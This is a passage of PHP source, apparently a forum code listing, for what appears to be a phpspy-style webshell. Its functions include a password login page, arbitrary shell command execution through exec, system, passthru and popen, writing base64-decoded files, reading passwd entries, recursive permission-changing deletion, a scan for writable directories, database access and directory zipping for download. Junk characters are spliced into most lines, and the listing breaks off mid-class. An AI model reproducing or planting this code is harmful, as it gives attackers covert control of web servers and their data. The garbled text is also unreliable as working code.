  1324. <?php7 k& e2 M1 L! y, \+ C

  1325. 0 D; ?- E" ~: v- L
  1326. /*======================================================
    5 ~$ a0 O% ]! G$ u
  1327. 函数库
    ; G% s2 H) e3 [" {3 I# _
  1328. ======================================================*/  c4 P$ ]3 ^3 D0 n' i

  1329. , N1 N$ F8 b5 i
  1330. function m($msg) {: Y& b  d" l$ Y1 ~9 A2 y( I5 B
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';' t0 q7 {) w  g7 l
  1332.         echo $msg;
    ' u  T0 _' H$ H  O' e/ S: f- y# Q
  1333.         echo '</div>';
    6 J/ x3 r5 v) W) @' Q% |
  1334. }  A1 w: Q9 Y4 Z$ a" L: l. o
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    + r$ X' ~6 A/ d9 N7 x' w5 p0 i
  1336.         global $admin, $timestamp, $_SERVER;
      f$ D$ \" J7 c1 L! c7 E
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    - ]6 w/ i. ^( M( d( W  I, P
  1338.         $life = $life ? $life : $admin['cookielife'];
    ) b* I6 k! ?9 d! ~8 A' w( {
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;" h0 C% I( }  \$ b2 H( x
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    * m7 h! H! _9 s. K0 ]- x3 V( z2 x; V
  1341. }       
    4 ?4 C# }" ?9 f. z* u3 G
  1342. function multi($num, $perpage, $curpage, $tablename) {0 o7 X6 P6 K+ i1 n9 x% b
  1343.         $multipage = '';% c* K3 i3 e# B5 U
  1344.         if($num > $perpage) {
    & k; F' v. l/ E: i4 V
  1345.                 $page = 10;$ v4 s$ i2 K: H7 O1 i( R
  1346.                 $offset = 5;' D8 L  K- v! O
  1347.                 $pages = @ceil($num / $perpage);
      \/ _3 e/ s- d# w5 J
  1348.                 if($page > $pages) {& ~* i: `- X8 V: s: a5 P+ Y. Z8 G+ u
  1349.                         $from = 1;
    - F3 w- \: g4 D* i$ n) l3 q* {
  1350.                         $to = $pages;, B7 t6 M; l2 c" l. {$ t/ S+ x
  1351.                 } else {# m6 Z7 \2 X# {7 v+ i/ [( j$ Z; H
  1352.                         $from = $curpage - $offset;3 M' z+ |+ J1 G/ C6 \( v8 L
  1353.                         $to = $curpage + $page - $offset - 1;
    3 O: K0 G8 ?6 Z$ m! Q  f: c
  1354.                         if($from < 1) {
    & N8 a5 Q1 s0 c, g% z4 w0 X
  1355.                                 $to = $curpage + 1 - $from;
    4 r1 i9 K$ G# e% f$ D( [
  1356.                                 $from = 1;2 \$ H  W) q: A+ o* w
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    % O9 a& C6 g( V! z
  1358.                                         $to = $page;! z+ b# B0 [9 j# B" K- \
  1359.                                 }
    6 |" Z+ E/ F# ?% C( [& }, a
  1360.                         } elseif($to > $pages) {7 z! s9 R6 ]( W/ F+ G& K
  1361.                                 $from = $curpage - $pages + $to;
    " J/ r- A' C- P0 O% W/ _
  1362.                                 $to = $pages;6 m0 K) h* M- \0 V3 W) }
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {1 W* L; p1 ^& v' H. U3 {+ z8 F
  1364.                                         $from = $pages - $page + 1;
    " C" Q  E9 L$ e& B
  1365.                                 }% e$ N3 P( \  H2 v2 B, |' c
  1366.                         }
    # w) D* _$ U& G6 `& D: f" h
  1367.                 }
    - W% q9 c* _; |4 h( [1 U" x8 ^( a# X
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
    ( `9 o9 S4 G# D
  1369.                 for($i = $from; $i <= $to; $i++) {8 I' ?1 w, n" R9 u) `; A" j; Z, I& \1 e( q
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
    ( y. t$ [: |4 E) L6 _, o
  1371.                 }. _: L% w# G* J& S7 K
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');" A- f$ }9 M* x& L/ J
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    * z  w6 W  b8 {
  1374.         }
    ! V, ?; j! g5 l% N0 ~
  1375.         return $multipage;
    , x2 z" O2 G) P+ A
  1376. }
      h' P7 H" {, j! Y2 e7 q/ d
  1377. // 登陆入口8 @* T, Q. t  _' S% d% N! x
  1378. function loginpage() {
    7 ?: r$ Q, c; Q4 G
  1379. ?>
    6 v9 m$ b) `: O
  1380.         <style type="text/css">
    2 d& d' }- d: u( A/ @: W" [
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
    & B1 `# |5 a5 N1 {) O
  1382.         </style>1 p. \% W7 ~3 q6 s' s% e
  1383.         <form method="POST" action="">
    4 o4 z" o8 X! |) T7 D# F: U
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    1 b2 E( e1 J: d
  1385.         <input type="hidden" name="doing" value="login">
    1 ^' Q8 w! d# c" f
  1386.         <input type="submit" value="Login">. c- l3 m, p6 G8 A
  1387.         </form>
    ' k) t/ b, {& m8 w
  1388. <?php
    " [' q' L( v/ D9 |* ^- U
  1389.         exit;& [4 y% w" h8 B
  1390. }//end loginpage()5 k3 y/ V5 P* f2 w3 f2 ]$ o8 \

  1391. " u: Q. _/ X/ v, S2 R+ u1 }
  1392. function execute($cfe) {% X! q) \, \; K. b) g/ `' X
  1393.         $res = '';6 I* c0 p) k# n+ T2 z
  1394.         if ($cfe) {0 x6 X8 J5 S  p& {/ [! b' S4 Q
  1395.                 if(function_exists('exec')) {
      M" I/ X7 B4 l5 i% \1 @
  1396.                         @exec($cfe,$res);  P$ e" v$ x. X- g- J+ w2 h4 d/ }
  1397.                         $res = join("\n",$res);# }4 p* p& |( ?& w& Z/ C. K
  1398.                 } elseif(function_exists('shell_exec')) {* C4 i9 e  X$ [3 a( m& ]) D% k) Z
  1399.                         $res = @shell_exec($cfe);4 V1 a. ~! a5 x9 V5 d' W
  1400.                 } elseif(function_exists('system')) {
    ' n- S$ `" t& M* [' F- H
  1401.                         @ob_start();
    # R% s* x* G* w; i+ H
  1402.                         @system($cfe);/ e) R# _* o  n% q; Z+ u, J
  1403.                         $res = @ob_get_contents();* M* t5 _) t% ]: X. ^( {) ~$ H
  1404.                         @ob_end_clean();" K+ o- I) _% _- K' [9 k) {. x
  1405.                 } elseif(function_exists('passthru')) {- v+ {6 o/ I( [; J0 }# b+ }
  1406.                         @ob_start();
    , d. ~0 r. ?2 q& m
  1407.                         @passthru($cfe);
    9 Y9 T& F- k. S) x* I% c3 N
  1408.                         $res = @ob_get_contents();
    : y9 l$ R. I; ]! q" t5 o9 U4 v
  1409.                         @ob_end_clean();" w3 \) N- g. E$ d# Z' ?$ M- j& ^
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    6 l1 n, }' S: w/ E# u5 K
  1411.                         $res = '';
    6 H4 G  S0 D% q7 m+ g; c
  1412.                         while(!@feof($f)) {; G+ l, E+ b- [4 i' C/ U
  1413.                                 $res .= @fread($f,1024);
    ) m6 n; h+ z7 K! }1 w) f
  1414.                         }
    * f) t# |* u5 A: Q, u
  1415.                         @pclose($f);
    # B4 S9 e1 T- j+ v: I+ H
  1416.                 }
    : K) `+ u# H+ P  k! M! e! d" W
  1417.         }- b$ S! n: _" r, R
  1418.         return $res;+ u( U6 J8 |2 a! J2 S! n  X
  1419. }& N2 B( \' z8 O3 A( ]
  1420. function which($pr) {
    8 s) S% k/ |" m" l9 E
  1421.         $path = execute("which $pr");6 i, _/ k! j- d2 o2 s9 r, P
  1422.         return ($path ? $path : $pr); ' R) N5 X: f# V# v3 [( ~
  1423. }
    2 V3 x) E8 @) Q7 z
  1424. 3 J2 a) L1 S: l, G' n4 }2 p5 W
  1425. function cf($fname,$text){( r# `( c( s8 _! V
  1426.         if($fp=@fopen($fname,'w')) {; |# p- J5 m- \2 G7 j3 k6 @- {! l
  1427.                 @fputs($fp,@base64_decode($text));, ~! O5 ^7 n' r; i# s# i) j
  1428.                 @fclose($fp);
    3 b. z- }$ E* {; \7 {9 h
  1429.         }
    , L2 k+ a; y" k/ V
  1430. }" p% k, z# f8 \9 L! a9 e
  1431. 8 j4 |# E0 u' H- l, k
  1432. // 页面调试信息
    # E, S( r8 A7 i& Z- z4 L' v  `
  1433. function debuginfo() {5 o4 V6 ?% A+ |3 E
  1434.         global $starttime;
    1 I/ r# L2 b! n) p- B) o# z6 a* }
  1435.         $mtime = explode(' ', microtime());
    ( H3 V. z; I2 f9 u7 t
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);; P0 C4 N# j7 R0 ?, R8 U
  1437.         echo 'Processed in '.$totaltime.' second(s)';3 R! k: E) F% N# {3 I) u* i
  1438. }7 E# q, H: @3 z$ y7 y- ]9 h9 s7 E+ l

  1439. 3 a: ]6 d: D+ ~+ Q1 j+ C
  1440. //连接数据库9 R2 Y# c* n3 H' ^/ }4 |
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    / a' x7 V% f2 |* R
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {, F5 G# r* O: G- y+ X
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
    ' @7 H% M0 Y/ C1 J; T: t
  1444.                 exit;1 ]3 h+ X4 z$ m6 }1 a- X7 Y
  1445.         }
    + Q6 i$ g# {' L; h. p* [) m% A
  1446.         if($link && $dbname) {9 Q5 m/ W( l: l3 r0 v) S
  1447.                 if (!@mysql_select_db($dbname, $link)) {1 ^& i8 E' i5 }( J' A2 B5 p
  1448.                         p('<h2>Database selected has error</h2>');
    ' k" y0 ~  {& a$ l7 `0 d
  1449.                         exit;1 i) [. |# k- d5 G' c4 Y
  1450.                 }. B* j$ J' ~/ A2 s* V3 t; X
  1451.         }* m( i$ y, O7 k; \/ y$ t; z, V8 I
  1452.         if($link && mysql_get_server_info() > '4.1') {
    6 G1 ?0 b  A8 g3 T7 B' u
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
    ) \$ \6 |: U$ H9 a8 Q9 n- [4 M0 s
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    , I3 z* w5 v6 u5 I3 A4 z0 x+ p' L
  1455.                 }0 J. }  ?/ H# P. `( i: R8 E
  1456.         }
    / N4 j  p1 b! Z) {% `
  1457.         return $link;5 H, Q" N0 B: h7 C& h' p
  1458. }
    7 L' T4 \- K9 f& b- {

  1459. : i$ M8 n0 t, \6 Q  k
  1460. // 去掉转义字符' o/ T& d8 U4 n1 E/ g
  1461. function s_array(&$array) {
    ( i; c3 Z0 {; Q& Z4 ^7 w
  1462.         if (is_array($array)) {' j4 ^% t8 I$ P2 x0 p* j# }4 ~
  1463.                 foreach ($array as $k => $v) {
    3 G; m, G  l, a& ^* p- X# z8 l
  1464.                         $array[$k] = s_array($v);
    ! |( Q# ^) O9 m6 ~' k
  1465.                 }
    9 @3 u/ ^/ |0 n4 Z. ~8 {8 |7 w
  1466.         } else if (is_string($array)) {9 g% I/ D( _4 @( I6 P
  1467.                 $array = stripslashes($array);
    ) i; U; U) p2 C  ]
  1468.         }
    1 {* Z7 g0 y2 j' k. c
  1469.         return $array;
      y% [! r+ h( s* n- Y/ P
  1470. }7 a1 X* Y& b7 E' P/ L0 a) z
  1471. # o' ?6 O- ]! @3 F6 X
  1472. // 清除HTML代码7 x. ~4 s! R9 |# ?0 T
  1473. function html_clean($content) {
    : q8 F5 _2 K% z2 V( V& Z
  1474.         $content = htmlspecialchars($content);! u# }5 |; B- Y; c: {4 P
  1475.         $content = str_replace("\n", "<br />", $content);
    / [9 O* H8 @+ X  _) p# z) T, G' ]
  1476.         $content = str_replace("  ", "  ", $content);
    - m/ E' J/ [6 {* G, v0 J0 y3 E# Z
  1477.         $content = str_replace("\t", "    ", $content);# i: y0 c; |3 Y4 Q
  1478.         return $content;) k: d( d  N4 @  S
  1479. }
    . [% r: w* k% i: s+ j
  1480. , y  L% f! y3 f8 Z' L, p& l4 ~" @
  1481. // 获取权限
    + z6 q  F0 I- o7 x
  1482. function getChmod($filepath){
    " C5 n/ z; g8 h5 G2 e4 B+ g0 m
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    * Q& |& x# ?- U9 E
  1484. }: k* j: s0 {' s0 B5 U8 Y
  1485. % p5 r( W2 H' E9 F, T
  1486. function getPerms($filepath) {2 G" f% N. ^! _0 q3 J* ^2 f
  1487.         $mode = @fileperms($filepath);
    ) ^) g5 B4 {9 E
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
    3 @) d9 }2 T! i+ O) b# X2 }
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    ' h- F' P  n9 q; a5 P3 `
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    2 [- w' v# B+ ~; a9 b7 A
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    & Q6 ~% n- c- E+ d5 S7 ?
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}3 `+ v6 ?9 v5 E( {- y
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    & F7 B% X3 A3 N% r' k' _! r( u
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}8 }$ T$ m/ E7 u8 D( e
  1495.         else {$type = '?';}/ _: I8 v$ i8 l1 b6 ~
  1496. ) r) d; c6 v! Q1 z
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
    " m* E4 p* g# l
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-'; # l& a& R( p9 b3 x" ]$ e
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; / \# j, ?- ]. ~; ?) ^8 B
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    & i+ ~4 y( y( u# t8 X$ ^8 b
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    , k( @$ V/ D! ?! L& L
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    7 t' c  `* q5 A7 I" g
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; 7 `9 [' l: M; J4 B
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-'; 9 x0 q, _3 F. m/ V
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
    # e7 i7 ^6 g$ r/ l: E9 M
  1506. 4 N$ Q& f6 }- f2 Z
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    . p6 p# @* _. ]
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}$ d. v( E- R2 w; U$ f
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}) e8 g, p/ e9 Q+ e1 M4 [2 @4 j

  1510. ) A6 d) @# C  W( W4 Z$ ]; K/ x
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    6 s% ?! U7 C. T
  1512. }8 k' l4 P* f8 Z3 b* W) \, {
  1513. ( b5 a: n! ]7 m8 y( q* M! J9 Y$ _
  1514. function getUser($filepath)        {9 {0 H9 c0 X: M. Y+ e- P( P4 h
  1515.         if (function_exists('posix_getpwuid')) {
    " {1 Z8 ^4 Q, Q& j! Y
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    - _0 V7 B2 o* D1 k* r& _
  1517.                 if ($array && is_array($array)) {6 M6 j& h5 H) A& c
  1518.                         return ' / <a href="#" title="User: '.$array['name'].': j7 H: R8 V0 ~' O: \
  1519. Passwd: '.$array['passwd'].'1 I( d) w$ N% X6 L# [+ H, Z1 m
  1520. Uid: '.$array['uid'].'
    , J0 g) l9 B* `) N/ t
  1521. gid: '.$array['gid'].'
    ! x, x8 J( D+ J
  1522. Gecos: '.$array['gecos'].'
    ) B" h4 c) |$ n( Y
  1523. Dir: '.$array['dir'].'0 W& k# v+ P) B0 V# b
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';2 ?6 }5 A3 Z& f
  1525.                 }
    1 M0 o1 J4 m  J
  1526.         }1 R8 X: G8 g5 Y  ~: x
  1527.         return '';9 T% l4 i7 [6 q' T3 V/ u! y
  1528. }" d/ P; L9 Q; p* T% \
  1529. 7 r, G$ i5 \6 \2 y) G5 `1 d
  1530. // 删除目录2 C/ I- i9 e4 A" Y
  1531. function deltree($deldir) {
    & R: q& T1 o% n( e$ `  ?
  1532.         $mydir=@dir($deldir);       
    - R. V; m% P+ h/ G2 h6 [: u+ s8 b0 H
  1533.         while($file=$mydir->read())        {                 , V5 X; Z3 O9 i5 `) K5 z% [' m
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { % U6 n7 p3 @: N
  1535.                         @chmod($deldir.'/'.$file,0777);
    7 O  k2 ^$ @0 x
  1536.                         deltree($deldir.'/'.$file); 2 i0 V  Y1 r1 R0 M" p! M. M
  1537.                 }
    9 t0 B5 z* v& ]: o
  1538.                 if (is_file($deldir.'/'.$file)) {! ^4 {9 m" z9 _$ u- y
  1539.                         @chmod($deldir.'/'.$file,0777);" i9 f& t* P2 f3 a# [
  1540.                         @unlink($deldir.'/'.$file);8 _5 v) H$ J% W# x
  1541.                 }/ w, p! m7 Y" y/ J! h: o
  1542.         }
    7 s4 l: c1 F  x! S
  1543.         $mydir->close(); 8 ?1 _6 D5 K9 ~7 _
  1544.         @chmod($deldir,0777);0 k8 R0 O0 {+ Q8 o+ n& e7 R. D
  1545.         return @rmdir($deldir) ? 1 : 0;% G/ c8 v! n1 ^! t% n( |
  1546. }
    . O5 t$ p7 L. {  C

  1547. 1 @3 E# _  n( r& u; M( M
  1548. // 表格行间的背景色替换
    ( D2 {$ D2 Z% i$ {/ y* [0 f
  1549. function bg() {' d2 V" O4 R. B
  1550.         global $bgc;1 T8 Z) S' N1 N! R; ~6 \/ H
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
    ( w9 `) P# |) b0 e
  1552. }
    ( `5 Z" o2 J( ^! w- c

  1553. 8 T; A5 I  \: ^/ P/ S
  1554. // 获取当前的文件系统路径! E& T/ V" N5 B: H4 ^- S+ U( |5 I
  1555. function getPath($scriptpath, $nowpath) {# _0 c5 c) v" E. B7 T$ ^
  1556.         if ($nowpath == '.') {
    4 e. M: s0 t( W2 a. G5 @+ I
  1557.                 $nowpath = $scriptpath;& o) a4 x% t  G  S. N
  1558.         }
    " t7 z6 B4 [! y) h! e4 C/ {- q) b
  1559.         $nowpath = str_replace('\\', '/', $nowpath);
    : y  Q% V# o9 b
  1560.         $nowpath = str_replace('//', '/', $nowpath);
    3 |$ u# e+ R$ f( |6 q$ U+ A2 O9 F# d
  1561.         if (substr($nowpath, -1) != '/') {$ q" A9 x8 ]; @% A& ~
  1562.                 $nowpath = $nowpath.'/';, V* n+ v' z4 C& `" o* }
  1563.         }9 U! J  z& Z  U+ M% p
  1564.         return $nowpath;
    1 B- }) k* C7 R, g  [, O
  1565. }. ^) g/ n- [+ e

  1566. % q1 K( {! E6 @  h  h
  1567. // 获取当前目录的上级目录9 }: P9 i9 w/ d7 ~7 u  {, _
  1568. function getUpPath($nowpath) {$ _" W. g* ]% L! |
  1569.         $pathdb = explode('/', $nowpath);
    ; t2 T, Q' s! I
  1570.         $num = count($pathdb);; E% }: T( W: }' q/ x
  1571.         if ($num > 2) {* ?5 u: B3 U0 A- O7 z* }' l. R
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
    , k5 Y3 j3 a+ F0 z7 @% {
  1573.         }
    $ @! k2 s5 E; K7 H7 R  ]  q
  1574.         $uppath = implode('/', $pathdb).'/';( X+ N+ }6 `6 S& H4 C
  1575.         $uppath = str_replace('//', '/', $uppath);
    4 Q, Y& y2 u' P" _" K) C7 }& y
  1576.         return $uppath;
    5 j0 _% V+ Y% w* |9 r; W) Y; U
  1577. }
    # y, r# z+ ?- f- ^

  1578. ( p; J( m! c% g& X+ X
  1579. // 检查PHP配置参数
      w, i) V7 N. O. [$ p- o% p+ p
  1580. function getcfg($varname) {
    . r1 |% T0 I; B' u1 S0 S
  1581.         $result = get_cfg_var($varname);6 L1 f! [0 {0 z' b) v
  1582.         if ($result == 0) {5 `: @" }7 l! [/ O2 s
  1583.                 return 'No';
    " Y/ Z" G$ z0 }( N% N6 |4 n$ z
  1584.         } elseif ($result == 1) {
    ' I$ U; c- K/ F/ V# j( {+ Z/ T8 k
  1585.                 return 'Yes';
    / o; b% _0 ]) w% x
  1586.         } else {
    ! p  x( K! S. _9 R
  1587.                 return $result;
    8 E9 r$ H1 G' S% q( q7 P
  1588.         }( K  {7 M" Y& V6 F+ p6 F
  1589. }
    . O9 w- Z& G/ J" `' l2 o
  1590. * u) H4 C8 R0 P1 {; Z/ J- |1 T: b3 H
  1591. // 检查函数情况, [5 ?: ]! V8 T& M# h$ q- z
  1592. function getfun($funName) {
    " q  }, q4 v* E# x
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    3 \& l, E' @& B  g/ J
  1594. }
    6 B$ X- y3 Z8 J7 z/ j+ _

  1595. / {! V: U4 e8 Z4 B, s" [
  1596. function GetList($dir){) R4 B$ ~, M- I8 x
  1597.         global $dirdata,$j,$nowpath;- {, x( m+ w4 W( H* z
  1598.         !$j && $j=1;- d/ S2 u7 o  H' T: V
  1599.         if ($dh = opendir($dir)) {
    5 L  O: i/ l& N& i: ?
  1600.                 while ($file = readdir($dh)) {3 D& C4 l1 C; ?
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    3 ]2 p- d: k- R5 y6 B4 y- _
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){: d3 F2 j: G. q- P% K3 }8 p  l8 @
  1603.                                 if (is_writable($f)) {
    ( ]( t) x- [: W! e( r
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);4 B/ _& [, s4 O0 @& X. ]* |2 m
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    ; I  k% w- j% g9 d; h5 ^# g
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);4 h/ |, X: P. k. t; I7 D" ^* m
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    . b7 f3 M* J3 S3 C9 \3 s
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);2 A) l, g+ s. p
  1609.                                         $dirdata[$j]['server_link']=$f;' M* k+ k, W. W, z: J2 f
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    3 s7 ~: R: M: c/ o8 {& r+ e* r
  1611.                                         $j++;
      o* y1 N/ w  n: l+ Q+ \
  1612.                                 }3 M% `& K9 x7 u0 n0 n8 t
  1613.                                 GetList($f);
    5 ]7 I" c5 O+ ^, B! y% K
  1614.                         }/ p1 L: c0 a+ M  [+ j8 S
  1615.                 }/ _9 V$ Y7 @6 y2 I
  1616.                 closedir($dh);
    3 ]/ ~, R5 M" }0 W
  1617.                 clearstatcache();% D+ [( M6 h) T/ I
  1618.                 return $dirdata;. y( i' [: V4 P8 C' X8 Y# L
  1619.         } else {1 K' a% Q9 i. _0 d
  1620.                 return array();6 C1 ^1 }" b6 a! }5 R  N
  1621.         }- Y2 W) o1 R+ ]* s; {
  1622. }. k% k) h) D, Q  F5 b: n( G

  1623. ! m2 _, B5 R+ ]! ^
  1624. function qy($sql) {
    ; o# x/ ]8 \1 h/ o' b2 m
  1625.         //echo $sql.'<br>';7 Q$ _5 W7 e' l
  1626.         $res = $error = '';9 y% @9 M: N! K* D
  1627.         if(!$res = @mysql_query($sql)) {
    - c) I6 G5 H9 E5 B3 V4 r
  1628.                 return 0;
    & Q8 @4 t* E7 B% v- f
  1629.         } else if(is_resource($res)) {
    % @, q2 S! d0 c; A$ B, |( Y* S
  1630.                 return 1; * n' p/ f- F5 U0 O
  1631.         } else {! k  r, x: a. @- p' Z3 y# s5 q2 d
  1632.                 return 2;5 J! y$ v7 K9 N0 e
  1633.         }       
    0 V1 p+ [' }- g& E, _
  1634.         return 0;
    + n( W6 p* \$ l0 i. V8 E
  1635. }9 i2 ^6 [. @  G9 ]

  1636. # W- ]3 g. M+ T3 ~
  1637. function q($sql) {
      G2 A1 d! h. ^) O
  1638.         return @mysql_query($sql);
      r+ j- w/ k5 d
  1639. }5 H7 l+ w; z0 B4 U  q4 Z2 ?) w

  1640. # s  z" y* e3 I3 S% t9 s1 F7 Q
  1641. function fr($qy){
    4 @& [% Z2 y/ U- T% w
  1642.         mysql_free_result($qy);
    6 L/ ?/ q7 n1 B
  1643. }3 _' t) D# C9 D  {# S
  1644. * a8 k1 p) P/ r! N9 w
  1645. function sizecount($size) {
    ; p9 O9 w* j, s, r0 _$ s
  1646.         if($size > 1073741824) {# Y  M1 f3 h0 s2 P/ C
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
    2 q+ B, @) @% e  c8 f5 B* d( E# y
  1648.         } elseif($size > 1048576) {! P5 \( v& b% r5 d
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
    , ~! L. m# }* K& I4 p- [$ k
  1650.         } elseif($size > 1024) {* K; Z- v( D* r7 Z( ^5 E  o7 v) Q
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';" j- k9 \& w' f, ?4 Q+ n- j
  1652.         } else {6 X+ m% b& O/ ?+ d4 `! e  g
  1653.                 $size = $size . ' B';* x) Y9 Z5 ?( y/ o$ b: m
  1654.         }
    2 e3 w! v% t/ W
  1655.         return $size;7 l1 z- l' J: c; W6 G2 Y
  1656. }- F4 S8 `! G/ O! I6 _5 A0 E3 _
  1657. : s" r3 [+ R8 A1 o' t" A! t
  1658. // 压缩打包类) l' f& e2 }" n+ n3 f$ s  q
  1659. class PHPZip{
    : R2 \, r, i0 Q. U
  1660.         var $out='';
    & j( y8 a: P8 w
  1661.         function PHPZip($dir)        {
    - i8 ^1 u! T0 ^$ ]; A
  1662.                 if (@function_exists('gzcompress'))        {
    " K9 b9 {' F. v: p* P( L: f5 T7 p
  1663.                         $curdir = getcwd();
    ! c' I0 y* i( e) q
  1664.                         if (is_array($dir)) $filelist = $dir;+ V$ R4 q: `( f% K
  1665.                         else{
    * k" u7 M  {6 I3 ~6 U
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表  X/ x3 K9 @0 L& R
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    " m. ]( ?$ k: K3 r. i
  1668.                         }% @6 X6 x7 a8 K# `& T4 O
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
    9 P: q- ^1 L2 [+ |2 x
  1670.                         else chdir($curdir);' j6 T% x1 P% i, R) \) s$ O
  1671.                         if (count($filelist)>0){
    9 h; [4 Q1 O& S& p9 q
  1672.                                 foreach($filelist as $filename){9 Z& \" @$ l" n9 R: A- U1 s2 O
  1673.                                         if (is_file($filename)){
    0 |2 ^- m+ n8 u  y# T# ]+ N! T6 D
  1674.                                                 $fd = fopen ($filename, 'r');8 U" |- A+ u. j' U
  1675.                                                 $content = @fread ($fd, filesize($filename));+ h2 Z9 W: }* K' G4 k- f- _
  1676.                                                 fclose ($fd);- t  d& r8 D1 V7 ^' m0 Z
  1677.                                                 if (is_array($dir)) $filename = basename($filename);
    : R0 p2 H. Q  t9 j# W3 X
  1678.                                                 $this -> addFile($content, $filename);
    $ W  ]' k7 L4 t
  1679.                                         }
    $ B* v+ p% J, ?3 ]) [
  1680.                                 }' |7 ~* M: W: ]/ ]9 y1 c: T/ R* {
  1681.                                 $this->out = $this -> file();; v0 d5 w- t- l* @8 D. M3 x
  1682.                                 chdir($curdir);
    1 w" |+ ~* _4 R' ~, {. W
  1683.                         }
    1 u0 @2 q, u5 c+ D& }% m
  1684.                         return 1;
    0 n2 c3 d7 h+ d5 c, L1 H
  1685.                 }0 C$ \1 K2 I+ r3 N) o5 m# n( n
  1686.                 else return 0;# R" V6 [) u" b& a' _
  1687.         }3 M: H; A2 Y+ v" k

  1688. ! I# [3 Q/ j) H) ]
  1689.         // 获得指定目录文件列表" }8 G  o3 D+ a/ H4 Y+ H& j$ |1 }
  1690.         function GetFileList($dir){# ?$ E$ v3 x1 p. |$ t9 Y
  1691.                 static $a;
    # r( o" v  J0 a7 x$ S
  1692.                 if (is_dir($dir)) {
    : r' l+ O. K) y3 X0 w3 n
  1693.                         if ($dh = opendir($dir)) {
    # J5 O4 Z) ^, J0 v. k% k4 e- |4 i
  1694.                                 while ($file = readdir($dh)) {, N- n8 V7 ~  {
  1695.                                         if($file!='.' && $file!='..'){  z* q8 Z, m& M" j! E% z
  1696.                                                 $f=$dir .'/'. $file;
    + v% D5 d4 L0 F2 P
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    ) x5 {0 `7 y. _" q
  1698.                                                 $a[]=$f;
    1 K/ w: e5 [/ V0 y" w
  1699.                                         }  V& F" y  r; S& P
  1700.                                 }
    $ P/ F0 e: v& l  Z
  1701.                                 closedir($dh);
    4 s* ^$ Y, |1 e
